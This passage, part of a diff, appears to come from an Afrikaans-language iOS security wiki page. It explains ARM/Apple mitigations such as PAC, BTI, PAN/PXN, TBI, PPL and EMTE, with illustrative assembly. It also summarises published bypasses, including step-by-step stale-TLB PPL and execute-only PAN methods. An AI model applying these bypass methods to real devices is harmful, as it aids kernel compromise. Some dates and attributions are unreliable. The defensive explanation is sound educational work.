+- Die DYLD loader en dynamic relocation logic is kompleks en map soms pages tydelik as read/write om relocations uit te voer, waarna dit hulle weer na read-only verander. Aanvallers buit hierdie windows uit. Synacktiv se talk beskryf "Operation Triangulation", ’n timing-based bypass van PAC via dynamic relocations. [Synacktiv](https://www.synacktiv.com/sites/default/files/2024-05/escaping_the_safari_sandbox_slides.pdf) [[8]](#references)
+
+- DYLD pages word nou met SPRR / VM_FLAGS_TPRO beskerm (sekere protection flags vir dyld). Vroeëre weergawes het egter weaker guards gehad. [Synacktiv](https://www.synacktiv.com/sites/default/files/2024-05/escaping_the_safari_sandbox_slides.pdf) [[8]](#references)
+
+- In WebKit exploit chains is die DYLD loader dikwels ’n target vir PAC bypass. Die slides noem dat baie PAC bypasses die DYLD loader geteiken het (via relocation, interposer hooks). [Synacktiv](https://www.synacktiv.com/sites/default/files/2024-05/escaping_the_safari_sandbox_slides.pdf) [[8]](#references)
+
+2.4 **NSPredicate / NSExpression / ObjC / SLOP**
+
+- In userland exploit chains word Objective-C runtime methods soos `NSPredicate`, `NSExpression` of `NSInvocation` gebruik om control calls te smuggle sonder obvious pointer forging.
+
+- Op ouer iOS (voor PAC) het ’n exploit **fake NSInvocation** objects gebruik om arbitrary selectors op controlled memory te roep. Met PAC is modifications nodig. Die SLOP-tegniek (SeLector Oriented Programming) word egter ook onder PAC uitgebrei. [Project Zero](https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-3.html) [[9]](#references)
+
+- Die oorspronklike SLOP-tegniek het chaining van ObjC calls moontlik gemaak deur fake invocations te skep; die bypass steun op die feit dat ISA- of selector pointers soms nie volledig PAC-protected is nie. [Project Zero](https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-3.html) [[9]](#references)
+
+- In environments waar pointer authentication slegs gedeeltelik toegepas word, het methods / selectors / target pointers nie altyd PAC protection nie, wat ruimte vir bypass laat.
+
+#### Example Flow
+
+
+Example Signing & Authenticating
+```
+; Example: function prologue / return address protection
+my_func:
+stp x29, x30, [sp, #-0x20]! ; push frame pointer + LR
+mov x29, sp
+PACIASP ; sign LR (x30) using SP as modifier
+; … body …
+mov sp, x29
+ldp x29, x30, [sp], #0x20 ; restore
+AUTIASP ; authenticate & strip PAC
+ret
+
+; Example: indirect function pointer stored in a struct
+; suppose X1 contains a function pointer
+PACDA X1, X2 ; sign data pointer X1 with context X2
+STR X1, [X0] ; store signed pointer
+
+; later retrieval:
+LDR X1, [X0]
+AUTDA X1, X2 ; authenticate & strip
+BLR X1 ; branch to valid target
+
+; Example: stripping for comparison (unsafe)
+LDR X1, [X0]
+XPACI X1 ; strip PAC (instruction domain)
+CMP X1, #some_label_address
+BEQ matched_label
+```
+
+
+
+Voorbeeld
+’n Buffer overflow oorskryf ’n return address op die stack. Die aanvaller skryf die target gadget address, maar kan nie die korrekte PAC bereken nie. Wanneer die funksie terugkeer, veroorsaak die CPU se `AUTIA`-instruction ’n fout omdat die PAC nie ooreenstem nie. Die chain misluk.
+Project Zero se analysis op A12 (iPhone XS) het gewys hoe Apple se PAC gebruik word en metodes om PACs te forgeer indien ’n aanvaller ’n memory read/write primitive het. [[1]](#references)
+
+
+
+### 9. **Branch Target Identification (BTI)**
+**Geïntroduseer met ARMv8.5 (latere hardware)**
+BTI is ’n hardware feature wat **indirect branch targets** kontroleer: wanneer `blr` of indirect calls/jumps uitgevoer word, moet die target met ’n **BTI landing pad** (`BTI j` of `BTI c`) begin. Om na gadget addresses te jump wat nie die landing pad het nie, veroorsaak ’n exception.
+
+LLVM se implementation notes three variants of BTI instructions en hoe hulle met branch types ooreenstem.
+
+| BTI Variant | Wat dit toelaat (watter branch types) | Tipiese plasing / use case |
+|-------------|----------------------------------------|-------------------------------|
+| **BTI C** | Targets van *call*-style indirect branches (bv. `BLR`, of `BR` wat X16/X17 gebruik) | Plaas aan die begin van funksies wat indirect called kan word |
+| **BTI J** | Targets van *jump*-style branches (bv. `BR` wat vir tail calls gebruik word) | Geplaas aan die begin van blocks wat deur jump tables of tail-calls bereik kan word |
+| **BTI JC** | Tree op as beide C en J | Kan deur call- of jump branches geteiken word |
+
+- In code wat met branch target enforcement compiled is, voeg compilers ’n BTI instruction (C, J of JC) by elke geldige indirect-branch target (function beginnings of blocks reachable by jumps), sodat indirect branches slegs na daardie plekke slaag.
+- **Direct branches / calls** (d.w.s. fixed-address `B`, `BL`) word **nie** deur BTI beperk nie. Die aanname is dat code pages trusted is en die aanvaller dit nie kan verander nie (dus is direct branches safe).
+- **RET / return** instructions word oor die algemeen ook nie deur BTI beperk nie, omdat return addresses deur PAC of return signing mechanisms beskerm word.
+
+#### Mechanism and enforcement
+
+- Wanneer die CPU ’n **indirect branch (BLR / BR)** in ’n page decodeer wat as “guarded / BTI-enabled” gemerk is, kontroleer dit of die target address se eerste instruction ’n geldige BTI (C, J of JC soos toegelaat) is. Indien nie, vind ’n **Branch Target Exception** plaas.
+- Die BTI instruction encoding is ontwerp om opcodes te hergebruik wat voorheen vir NOPs gereserveer was (in vroeëre ARM versions). BTI-enabled binaries bly dus backward-compatible: op hardware sonder BTI support tree daardie instructions as NOPs op.
+- Die compiler passes wat BTIs byvoeg, insert hulle slegs waar nodig: funksies wat indirect called kan word, of basic blocks wat deur jumps geteiken word.
+- Sommige patches en LLVM code wys dat BTI nie vir *all* basic blocks inserted word nie — slegs vir dié wat potential branch targets is (bv. van switch / jump tables).
+
+#### BTI + PAC synergy
+
+PAC beskerm die pointer value (die source) — dit verseker dat die chain van indirect calls / returns nie tampered is nie.
+
+BTI verseker dat selfs ’n geldige pointer slegs behoorlik gemerkte entry points kan target.
+
+Saam beteken dit dat ’n aanvaller beide ’n geldige pointer met korrekte PAC nodig het, en dat die target ’n BTI daar geplaas moet hê. Dit verhoog die moeilikheid om exploit gadgets te konstrueer.
+
+#### Voorbeeld
+
+
+
+Voorbeeld
+’n Exploit probeer om in ’n gadget by `0xABCDEF` te pivot wat nie met `BTI c` begin nie. Die CPU kontroleer die target wanneer `blr x0` uitgevoer word en veroorsaak ’n fout omdat die instruction alignment nie ’n geldige landing pad insluit nie. Baie gadgets word dus onbruikbaar tensy hulle ’n BTI prefix insluit.
+
+
+
+### 10. **Privileged Access Never (PAN) & Privileged Execute Never (PXN)**
+**Geïntroduseer in meer onlangse ARMv8 extensions / iOS support (vir ’n hardened kernel)**
+
+#### PAN (Privileged Access Never)
+
+- **PAN** is ’n feature wat in **ARMv8.1-A** geïntroduseer is en wat **privileged code** (EL1 of EL2) verhoed om memory te **read of write** wat as **user-accessible (EL0)** gemerk is, tensy PAN eksplisiet disabled is.
+- Die idee is: selfs indien die kernel mislei of compromised word, kan dit nie arbitrêr user-space pointers dereference sonder om eers PAN te *clear* nie, wat die risiko van **`ret2usr`**-style exploits of misbruik van user-controlled buffers verminder.
+- Wanneer PAN enabled is (PSTATE.PAN = 1), veroorsaak enige privileged load/store instruction wat toegang verkry tot ’n virtual address wat “accessible at EL0” is, ’n **permission fault**.
+- Die kernel moet, wanneer dit legitimite toegang tot user-space memory benodig (bv. om data na/van user buffers te copy), PAN **tydelik disable** (of “unprivileged load/store”-instructions gebruik) om daardie toegang toe te laat.
+- In Linux op ARM64 is PAN support omstreeks 2015 geïntroduseer: kernel patches het detection van die feature bygevoeg en `get_user` / `put_user`, ens. vervang met variants wat PAN rondom user memory accesses clear.
+
+**Key nuance / limitation / bug**
+- Soos deur Siguza en andere aangeteken, beteken ’n specification bug (of ambiguous behavior) in ARM se design dat **execute-only user mappings** (`--x`) moontlik **nie PAN trigger nie**. Met ander woorde, indien ’n user page executable maar sonder read permission gemerk is, kan die kernel se read attempt PAN bypass omdat die architecture “accessible at EL0” beskou as iets wat readable permission vereis, nie slegs executable nie. Dit lei tot ’n PAN bypass in sekere configurations.
+- Gevolglik, indien iOS / XNU execute-only user pages toelaat (soos sommige JIT- of code-cache setups moontlik doen), kan die kernel per ongeluk daarvan read selfs wanneer PAN enabled is. Dit is ’n bekende subtiele exploitable area in sommige ARMv8+-systems.
+
+#### PXN (Privileged eXecute Never)
+
+- **PXN** is ’n page table flag (in die page table entries, leaf- of block entries) wat aandui dat die page **non-executable is wanneer dit in privileged mode loop** (d.w.s. wanneer EL1 dit execute).
+- PXN verhoed dat die kernel (of enige privileged code) na user-space pages jump of instructions daarvan execute, selfs indien control diverted word. In effek stop dit ’n kernel-level control-flow redirection na user memory.
+- In kombinasie met PAN verseker dit dat:
+1. Kernel nie (by verstek) user-space data kan read of write nie (PAN)
+2. Kernel nie user-space code kan execute nie (PXN)
+- In die ARMv8 page table format het die leaf entries ’n `PXN` bit (en ook `UXN` vir unprivileged execute-never) in hul attribute bits.
+
+Selfs indien die kernel ’n corrupted function pointer het wat na user memory wys, en daarheen probeer branch, sal die PXN bit ’n fault veroorsaak.
+
+#### Memory-permission model & hoe PAN en PXN met page table bits ooreenstem
+
+Om te verstaan hoe PAN / PXN werk, moet jy sien hoe ARM se translation- en permission model werk (vereenvoudig):
+
+- Elke page- of block entry het attribute fields wat **AP[2:1]** vir access permissions (read/write, privileged teenoor unprivileged) en **UXN / PXN** bits vir execute-never restrictions insluit.
+- Wanneer PSTATE.PAN 1 is (enabled), enforce die hardware modified semantics: privileged accesses tot pages wat as “accessible by EL0” gemerk is (d.w.s. user-accessible), word disallowed (fault).
+- Weens die genoemde bug tel pages wat slegs executable gemerk is (geen read permission nie) moontlik nie as “accessible by EL0” in sekere implementations nie, en bypass dus PAN.
+- Wanneer ’n page se PXN bit set is, word execution prohibited selfs indien die instruction fetch van ’n higher privilege level afkomstig is.
+
+#### Kernel usage of PAN / PXN in ’n hardened OS (bv. iOS / XNU)
+
+In ’n hardened kernel design (soos wat Apple moontlik gebruik):
+
+- Die kernel enable PAN by verstek (sodat privileged code constrained is).
+- In pathways wat legitimite user buffers moet read of write (bv. syscall buffer copy, I/O, read/write user pointer), disable die kernel PAN tydelik of gebruik special instructions om dit te override.
+- Nadat user data access voltooi is, moet dit PAN weer enable.
+- PXN word deur page tables enforced: user pages het PXN = 1 (sodat kernel dit nie kan execute nie), terwyl kernel pages nie PXN het nie (sodat kernel code kan execute).
+- Die kernel moet verseker dat geen code paths execution flow na user memory regions veroorsaak nie (wat PXN sou bypass) — dus word exploit chains wat op “jump into user-controlled shellcode” staatmaak, geblokkeer.
+
+Weens die genoemde PAN bypass via execute-only pages kan Apple in ’n werklike system execute-only user pages disable of disallow, of om die specification weakness patch.
+
+
+#### Attack surfaces, bypasses, and mitigations
+
+- **PAN bypass via execute-only pages**: soos bespreek, laat die spec ’n gap toe: user pages met execute-only (geen read perm nie) tel moontlik nie as “accessible at EL0” nie, sodat PAN onder sommige implementations nie kernel reads van sulke pages blokkeer nie. Dit gee die aanvaller ’n ongewone manier om data via “execute-only”-sections te feed.
+- **Temporal window exploit**: indien die kernel PAN vir ’n langer window as nodig disable, kan ’n race of malicious path daardie window exploit om unintended user memory access uit te voer.
+- **Forgotten re-enable**: indien code paths versuim om PAN weer te enable, kan subsequent kernel operations verkeerdelik toegang tot user memory verkry.
+- **Misconfiguration of PXN**: indien page tables nie PXN op user pages set nie of user code pages verkeerd map, kan die kernel mislei word om user-space code te execute.
+- **Speculation / side-channels**: soortgelyk aan speculative bypasses kan daar microarchitectural side-effects wees wat ’n transient violation van PAN / PXN checks veroorsaak (hoewel sulke attacks sterk van CPU design afhanklik is).
+- **Complex interactions**: In meer gevorderde features (bv. JIT, shared memory, just-in-time code regions) kan die kernel fine-grained control nodig hê om sekere memory accesses of execution in user-mapped regions toe te laat; om dit veilig onder PAN/PXN constraints te design, is nontrivial.
+
+
+#### Voorbeeld
+
+
+Code Example
+Hier is illustrative pseudo-assembly sequences wat wys hoe PAN rondom user memory access enabled/disabled word, en hoe ’n fault kan plaasvind.
+```
+// Suppose kernel entry point, PAN is enabled (privileged code cannot access user memory by default)
+
+; Kernel receives a syscall with user pointer in X0
+; wants to read an integer from user space
+mov X1, X0 ; X1 = user pointer
+
+; disable PAN to allow privileged access to user memory
+MSR PSTATE.PAN, #0 ; clear PAN bit, disabling the restriction
+
+ldr W2, [X1] ; now allowed load from user address
+
+; re-enable PAN before doing other kernel logic
+MSR PSTATE.PAN, #1 ; set PAN
+
+; ... further kernel work ...
+
+; Later, suppose an exploit corrupts a pointer to a user-space code page and jumps there
+BR X3 ; branch to X3 (which points into user memory)
+
+; Because the target page is marked PXN = 1 for privileged execution,
+; the CPU throws an exception (fault) and rejects execution
+```
+As die kernel **nie** PXN op daardie user page gestel het nie, kon die branch slaag — wat onveilig sou wees.
+
+As die kernel vergeet om PAN weer te aktiveer nadat user memory access plaasgevind het, skep dit ’n venster waar verdere kernel-logika per ongeluk arbitrêre user memory kon lees/skryf.
+
+As die user pointer na ’n execute-only page wys (user page met slegs execute-permission, sonder read/write), kon `ldr W2, [X1]` volgens die PAN-spec-bug **nie** fault nie, selfs met PAN enabled, wat ’n bypass exploit moontlik maak, afhangend van die implementering.
+
+
+
+
+Voorbeeld
+’n Kernel-vulnerability probeer om ’n user-provided function pointer te neem en dit in kernel context te call (d.w.s. `call user_buffer`). Onder PAN/PXN word daardie operasie verbied of veroorsaak dit ’n fault.
+
+
+---
+
+### 11. **Top Byte Ignore (TBI) / Pointer Tagging**
+**Introduced in ARMv8.5 / newer (or optional extension)**
+TBI beteken dat die top byte (mees betekenisvolle byte) van ’n 64-bit pointer deur address translation geïgnoreer word. Dit laat die OS of hardware toe om **tag bits** in die pointer se top byte in te bed sonder om die werklike address te beïnvloed.
+
+- TBI staan vir **Top Byte Ignore** (soms genoem *Address Tagging*). Dit is ’n hardware feature (beskikbaar in baie ARMv8+-implementerings) wat die **top 8 bits** (bits 63:56) van ’n 64-bit pointer **ignoreer** wanneer **address translation / load/store / instruction fetch** uitgevoer word.
+- In effek behandel die CPU ’n pointer `0xTTxxxx_xxxx_xxxx` (waar `TT` = top byte) as `0x00xxxx_xxxx_xxxx` vir address translation-doeleindes, deur die top byte te ignoreer (te mask). Die top byte kan deur software gebruik word om **metadata / tag bits** te stoor.
+- Dit gee software “free” in-band space om ’n byte van tag in elke pointer in te bed sonder om te verander na watter memory location dit verwys.
+- Die architecture verseker dat loads, stores en instruction fetch die pointer met sy top byte gemask (d.w.s. die tag verwyder) behandel voordat die werklike memory access uitgevoer word.
+
+TBI ontkoppel dus die **logical pointer** (pointer + tag) van die **physical address** wat vir memory operations gebruik word.
+
+#### Waarom TBI: Use cases en motivering
+
+- **Pointer tagging / metadata**: Jy kan ekstra metadata (bv. object type, version, bounds, integrity tags) in daardie top byte stoor. Wanneer jy die pointer later gebruik, word die tag op hardware-vlak geïgnoreer, sodat jy dit nie handmatig vir die memory access hoef te verwyder nie.
+- **Memory tagging / MTE (Memory Tagging Extension)**: TBI is die basiese hardware-meganisme waarop MTE bou. In ARMv8.5 gebruik die **Memory Tagging Extension** bits 59:56 van die pointer as ’n **logical tag** en vergelyk dit met ’n **allocation tag** wat in memory gestoor word.
+- **Enhanced security & integrity**: Deur TBI met pointer authentication (PAC) of runtime checks te kombineer, kan jy vereis dat nie net die pointer value nie, maar ook die tag korrek is. ’n Attacker wat ’n pointer sonder die korrekte tag oorskryf, sal ’n mismatched tag veroorsaak.
+- **Compatibility**: Omdat TBI optional is en tag bits deur hardware geïgnoreer word, hou bestaande untagged code aan om normaal te funksioneer. Die tag bits word effektief “don’t care”-bits vir legacy code.
+
+#### Voorbeeld
+
+Voorbeeld
+’n Function pointer het ’n tag in sy top byte ingesluit (sê `0xAA`). ’n Exploit oorskryf die pointer se low bits maar ignoreer die tag, sodat die pointer faal of rejected word wanneer die kernel dit verify of sanitize.
+
+
+---
+
+### 12. **Page Protection Layer (PPL)**
+**Introduced in late iOS / modern hardware (iOS ~17 / Apple silicon / high-end models)** (some reports show PPL circa macOS / Apple silicon, but Apple is bringing analogous protections to iOS)
+
+- PPL is ontwerp as ’n **intra-kernel protection boundary**: selfs indien die kernel (EL1) compromised is en read/write-capabilities het, ** behoort dit nie vrylik sekere sensitive pages** (veral page tables, code-signing metadata, kernel code pages, entitlements, trust caches, ens.) te kan modify nie.
+- Dit skep effektief ’n **“kernel within the kernel”** — ’n kleiner trusted component (PPL) met **elevated privileges** wat alleen protected pages kan modify. Ander kernel code moet PPL-routines call om changes te bewerkstellig.
+- Dit verminder die attack surface vir kernel exploits: selfs met full arbitrary R/W/execute in kernel mode, moet exploit code op een of ander manier ook in die PPL-domain inkom (of PPL bypass) om critical structures te modify.
+- Op nuwer Apple silicon (A15+ / M2+) beweeg Apple na **SPTM (Secure Page Table Monitor)**, wat PPL in baie gevalle vervang vir page-table protection op daardie platforms.
+
+Hier is hoe PPL vermoedelik werk, gebaseer op public analysis:
+
+#### Gebruik van APRR / permission routing (APRR = Access Permission ReRouting)
+
+- Apple hardware gebruik ’n meganisme genaamd **APRR (Access Permission ReRouting)**, wat page table entries (PTEs) toelaat om klein indices eerder as volledige permission bits te bevat. Daardie indices word deur APRR-registers na werklike permissions gemap. Dit laat dynamic remapping van permissions per domain toe. [[10]](#references)
+- PPL gebruik APRR om privilege binne kernel context te segregeer: slegs die PPL-domain word toegelaat om die mapping tussen indices en effective permissions te update. Dit beteken dat wanneer non-PPL kernel code ’n PTE skryf of permission bits probeer flip, die APRR-logika dit disallow (of ’n read-only mapping afdwing).
+- PPL code self loop in ’n restricted region (bv. `__PPLTEXT`) wat normaalweg non-executable of non-writable is totdat entry gates dit tydelik toelaat. Die kernel call PPL entry points (“PPL routines”) om sensitive operations uit te voer.
+
+#### Gate / Entry & Exit
+
+- Wanneer die kernel ’n protected page moet modify (bv. permissions van ’n kernel code page moet change, of page tables moet modify), call dit ’n **PPL wrapper**-routine, wat validation doen en dan na die PPL-domain transition. Buite daardie domain is die protected pages effektief read-only of non-modifiable deur die main kernel.
+- Tydens PPL entry word die APRR-mappings aangepas sodat memory pages in die PPL-region binne PPL as **executable & writable** gestel word. Met exit word hulle na read-only / non-writable teruggestel. Dit verseker dat slegs goed ge-audite PPL-routines na protected pages kan write.
+- Buite PPL sal pogings deur kernel code om na daardie protected pages te write, fault (permission denied), omdat die APRR-mapping vir daardie code-domain nie writing toelaat nie.
+
+#### Protected page categories
+
+Die pages wat PPL tipies protect, sluit in:
+
+- Page table structures (translation table entries, mapping metadata)
+- Kernel code pages, veral dié wat critical logic bevat
+- Code-sign metadata (trust caches, signature blobs)
+- Entitlement tables, signature enforcement tables
+- Ander high-value kernel structures waar ’n patch dit moontlik sou maak om signature checks te bypass of credentials te manipulate
+
+Die idee is dat selfs indien die kernel memory volledig onder beheer is, die attacker nie eenvoudig hierdie pages kan patch of rewrite nie, tensy die attacker ook PPL-routines compromise of PPL bypass.
+
+
+#### Known Bypasses & Vulnerabilities
+
+1. **Project Zero se PPL bypass (stale TLB trick)**
+
+- ’n Public writeup deur Project Zero beskryf ’n bypass wat **stale TLB entries** behels. [[10]](#references)
+- Die idee:
+
+1. Allocate twee physical pages A en B, en markeer hulle as PPL pages (sodat hulle protected is).
+2. Map twee virtual addresses P en Q waarvan die L3 translation table pages van A en B afkomstig is.
+3. Spin ’n thread om voortdurend toegang tot Q te verkry, sodat sy TLB-entry alive gehou word.
+4. Call `pmap_remove_options()` om mappings vanaf P te remove; weens ’n bug remove die code verkeerdelik die TTEs vir beide P en Q, maar invalidates dit slegs die TLB-entry vir P, sodat Q se stale entry live bly.
+5. Reuse B (page Q se table) om arbitrary memory te map (bv. PPL-protected pages). Omdat die stale TLB-entry steeds Q se ou mapping map, bly daardie mapping geldig vir daardie context.
+6. Hierdeur kan die attacker ’n writable mapping van PPL-protected pages in place stel sonder om deur die PPL-interface te gaan.
+
+- Hierdie exploit het fine control van physical mapping en TLB-behavior vereis. Dit demonstreer dat ’n security boundary wat op TLB / mapping correctness staatmaak, uiters versigtig moet wees met TLB-invalidations en mapping consistency.
+
+- Project Zero het opgemerk dat bypasses soos hierdie subtiel en rare is, maar moontlik in komplekse systems. Hulle beskou PPL steeds as ’n solid mitigation.
+
+2. **Other potential hazards & constraints**
+
+- As ’n kernel exploit direk PPL-routines kan enter (deur die PPL-wrappers te call), kan dit restrictions bypass. Argument validation is dus critical.
+- Bugs in die PPL-code self (bv. arithmetic overflow, boundary checks) kan out-of-bounds modifications binne PPL toelaat. Project Zero het waargeneem dat so ’n bug in `pmap_remove_options_internal()` in hul bypass exploited is.
+- Die PPL-boundary is onherroeplik aan hardware enforcement (APRR, memory controller) gekoppel, en is dus slegs so sterk soos die hardware-implementering.
+
+
+
+#### Voorbeeld
+
+Code Example
+Hier is ’n simplified pseudocode / logic wat wys hoe ’n kernel PPL kan call om protected pages te modify:
+```c
+// In kernel (outside PPL domain)
+function kernel_modify_pptable(pt_addr, new_entry) {
+// validate arguments, etc.
+return ppl_call_modify(pt_addr, new_entry) // call PPL wrapper
+}
+
+// In PPL (trusted domain)
+function ppl_call_modify(pt_addr, new_entry) {
+// temporarily enable write access to protected pages (via APRR adjustments)
+aprr_set_index_for_write(PPL_INDEX)
+// perform the modification
+*pt_addr = new_entry
+// restore permissions (make pages read-only again)
+aprr_restore_default()
+return success
+}
+
+// If kernel code outside PPL does:
+*pt_addr = new_entry // a direct write
+// It will fault because APRR mapping for non-PPL domain disallows write to that page
+```
+Die kernel kan baie normale bewerkings uitvoer, maar slegs deur `ppl_call_*`-roetines kan dit beskermde mappings verander of kode patch.
+
+
+
+Voorbeeld
+’n Kernel exploit probeer om die entitlement-tabel te oorskryf, of code-sign enforcement te deaktiveer deur ’n kernel signature blob te wysig. Omdat daardie bladsy PPL-beskerm is, word die skryfaksie geblokkeer tensy dit deur die PPL-koppelvlak gaan. Selfs met kernel code execution kan jy dus nie code-sign-beperkings omseil of credential-data arbitrêr wysig nie.
+Op iOS 17+ gebruik sekere toestelle SPTM om PPL-bestuurde bladsye verder te isoleer.
+
+
+#### PPL → SPTM / Replacements / Future
+
+- Op Apple se moderne SoCs (A15 of later, M2 of later) ondersteun Apple **SPTM** (Secure Page Table Monitor), wat **PPL** vir page table-beskerming vervang.
+- Apple noem dit in dokumentasie: “Page Protection Layer (PPL) and Secure Page Table Monitor (SPTM) enforce execution of signed and trusted code … PPL manages the page table permission overrides … Secure Page Table Monitor replaces PPL on supported platforms.” [[11]](#references)
+- Die SPTM-argitektuur verskuif waarskynlik meer policy enforcement na ’n monitor met hoër privileges buite kernel-beheer, wat die trust boundary verder verklein.
+
+### MTE | EMTE | MIE
+
+Hier is ’n hoërvlakbeskrywing van hoe EMTE onder Apple se MIE-opstelling werk: [[12]](#references)
+
+1. **Tag assignment**
+- Wanneer memory geallokeer word (byvoorbeeld in kernel of user space deur secure allocators), word ’n **secret tag** aan daardie blok toegeken.
+- Die pointer wat aan die user of kernel teruggegee word, bevat daardie tag in sy hoë bits (deur TBI / top byte ignore-meganismes te gebruik).
+
+2. **Tag checking on access**
+- Wanneer ’n load of store met ’n pointer uitgevoer word, kontroleer die hardware of die pointer se tag met die memory-blok se tag (allocation tag) ooreenstem. Indien dit nie ooreenstem nie, veroorsaak dit onmiddellik ’n fault (omdat dit synchronous is).
+- Omdat dit synchronous is, is daar geen “delayed detection”-venster nie.
+
+3. **Retagging on free / reuse**
+- Wanneer memory gefree word, verander die allocator die blok se tag (sodat ouer pointers met ou tags nie meer ooreenstem nie).
+- ’n Use-after-free-pointer sal dus ’n stale tag hê en nie ooreenstem wanneer dit ge-access word nie.
+
+4. **Neighbor-tag differentiation to catch overflows**
+- Aangrensende allocations kry onderskeie tags. Indien ’n buffer overflow na die buurman se memory oorloop, veroorsaak die tag mismatch ’n fault.
+- Dit is veral kragtig om klein overflows op te spoor wat ’n grens oorsteek.
+
+5. **Tag confidentiality enforcement**
+- Apple moet voorkom dat tag-waardes geleak word (want indien ’n attacker die tag leer, kan hulle pointers met korrekte tags skep).
+- Hulle sluit beskerming in (microarchitectural / speculative controls) om side-channel-leak van tag-bits te voorkom.
+
+6. **Kernel and user-space integration**
+- Apple gebruik EMTE nie net in user space nie, maar ook in kernel / OS-kritieke komponente (om die kernel teen memory corruption te beskerm).
+- Die hardware/OS verseker dat tag-reëls geld selfs wanneer die kernel namens user space uitvoer.
+Omdat EMTE in MIE ingebou is, gebruik Apple EMTE in synchronous mode oor belangrike attack surfaces, nie as ’n opt-in- of debugging mode nie.
+
+
+
+Voorbeeld
+```
+Allocate A = 0x1000, assign tag T1
+Allocate B = 0x2000, assign tag T2
+
+// pointer P points into A with tag T1
+P = (T1 << 56) | 0x1000
+
+// Valid store
+*(P + offset) = value // tag T1 matches allocation → allowed
+
+// Overflow attempt: P’ = P + size_of_A (into B region)
+*(P' + delta) = value
+→ pointer includes tag T1 but memory block has tag T2 → mismatch → fault
+
+// Free A, allocator retags it to T3
+free(A)
+
+// Use-after-free:
+*(P) = value
+→ pointer still has old tag T1, memory region is now T3 → mismatch → fault
+```
+
+
+#### Beperkings en uitdagings
+
+- **Intrablock overflows**: As die overflow binne dieselfde allocation bly (nie die grens oorsteek nie) en die tag dieselfde bly, sal tag mismatch dit nie opspoor nie.
+- **Tag width limitation**: Slegs ’n paar bits (bv. 4 bits, of ’n klein domein) is vir tag beskikbaar—’n beperkte namespace.
+- **Side-channel leaks**: As tag bits (via cache / speculative execution) geleak kan word, kan die aanvaller geldige tags leer en dit omseil. Apple se tag confidentiality enforcement is bedoel om dit te versag.
+- **Performance overhead**: Tag checks by elke load/store voeg koste by; Apple moet die hardware optimaliseer om die overhead laag te hou.
+- **Compatibility & fallback**: Op ouer hardware of dele wat nie EMTE ondersteun nie, moet ’n fallback bestaan. Apple beweer dat MIE slegs geaktiveer word op toestelle met ondersteuning.
+- **Complex allocator logic**: Die allocator moet tags bestuur, retagging uitvoer, grense belyn en mis-tag collisions vermy. Bugs in allocator logic kan vulnerabilities bekendstel.
+- **Mixed memory / hybrid areas**: Sommige memory kan untagged bly (legacy), wat interoperability moeiliker maak.
+- **Speculative / transient attacks**: Soos met baie microarchitectural protections, kan speculative execution of micro-op fusions checks tydelik omseil of tag bits uitlek.
+- **Limited to supported regions**: Apple sal EMTE moontlik slegs in selektiewe, hoërisiko-areas afdwing (kernel, security-critical subsystems), en nie universeel nie.
+
+
+
+---
+
+## Belangrike enhancements / verskille in vergelyking met standard MTE
+
+Hier is die improvements en changes wat Apple beklemtoon: [[12]](#references)
+
+| Feature | Original MTE | EMTE (Apple’s enhanced) / MIE |
+|---|---|---|
+| **Check mode** | Ondersteun synchronous en asynchronous modes. In async word tag mismatches later gerapporteer (delayed) | Apple dring by verstek op **synchronous mode** aan—tag mismatches word onmiddellik opgespoor; geen delay/race windows word toegelaat nie.|
+| **Coverage of non-tagged memory** | Accesses tot non-tagged memory (bv. globals) kan in sommige implementations checks omseil | EMTE vereis dat accesses vanaf ’n tagged region na non-tagged memory ook tag knowledge valideer, wat dit moeiliker maak om checks te omseil deur allocations te meng.|
+| **Tag confidentiality / secrecy** | Tags kan observeerbaar wees of via side channels uitlek | Apple voeg **Tag Confidentiality Enforcement** by, wat probeer om leakage van tag values te voorkom (via speculative side-channels, ens.).|
+| **Allocator integration & retagging** | MTE laat ’n groot deel van allocator logic aan software oor | Apple se secure typed allocators (kalloc_type, xzone malloc, ens.) integreer met EMTE: wanneer memory geallokeer of vrygestel word, word tags op ’n fyn granulariteit bestuur.|
+| **Always-on by default** | Op baie platforms is MTE optional of by verstek afgeskakel | Apple aktiveer EMTE / MIE by verstek op supported hardware (bv. iPhone 17 / A19) vir kernel en baie user processes.|
+
+Omdat Apple beide die hardware en software stack beheer, kan dit EMTE streng afdwing, performance pitfalls vermy en side-channel holes sluit.
+
+---
+
+## Exception handling in XNU [[16]](#references)
+
+Wanneer ’n **exception** plaasvind (bv. `EXC_BAD_ACCESS`, `EXC_BAD_INSTRUCTION`, `EXC_CRASH`, `EXC_ARM_PAC`, ens.), is die **Mach layer** van die XNU kernel verantwoordelik om dit te onderskep voordat dit ’n UNIX-style **signal** (soos `SIGSEGV`, `SIGBUS`, `SIGILL`, ...) word.
+
+Hierdie proses behels verskeie lae van exception propagation en handling voordat dit user space bereik of na ’n BSD signal omgeskakel word.
+
+
+### Exception Flow (High-Level)
+
+1. **CPU trigger ’n synchronous exception** (bv. invalid pointer dereference, PAC failure, illegal instruction, ens.).
+
+2. **Low-level trap handler** loop (`trap.c`, `exception.c` in XNU source).
+
+3. Die trap handler roep **`exception_triage()`**, die kern van Mach exception handling, aan.
+
+4. `exception_triage()` besluit hoe om die exception te routeer:
+
+- Eers na die **thread se exception port**.
+
+- Daarna na die **task se exception port**.
+
+- Daarna na die **host se exception port** (dikwels `launchd` of `ReportCrash`).
+
+As geen van hierdie ports die exception hanteer nie, kan die kernel:
+
+- **Dit in ’n BSD signal omskakel** (vir user-space processes).
+
+- **Panic** (vir kernel-space exceptions).
+
+
+### Core Function: `exception_triage()`
+
+Die function `exception_triage()` routeer Mach exceptions op deur die ketting van moontlike handlers totdat een dit hanteer of totdat dit uiteindelik fatal is. Dit is gedefinieer in `osfmk/kern/exception.c`.
+```c
+void exception_triage(exception_type_t exception, mach_exception_data_t code, mach_msg_type_number_t codeCnt);
+```
+**Tipiese Oproepvloei:**
+
+`exception_triage()
+└── exception_deliver()
+├── exception_deliver_thread()
+├── exception_deliver_task()
+└── exception_deliver_host()`
+
+As alles misluk → word dit deur `bsd_exception()` hanteer → vertaal na ’n sein soos `SIGSEGV`.
+
+
+### Exception Ports
+
+Elke Mach-object (thread, task, host) kan **exception ports** registreer, waar exception-boodskappe heen gestuur word.
+
+Hulle word deur die API gedefinieer:
+```
+task_set_exception_ports()
+thread_set_exception_ports()
+host_set_exception_ports()
+```
+Elke exception-port het:
+
+- 'n **mask** (watter exceptions dit wil ontvang)
+- 'n **port name** (Mach-port om boodskappe te ontvang)
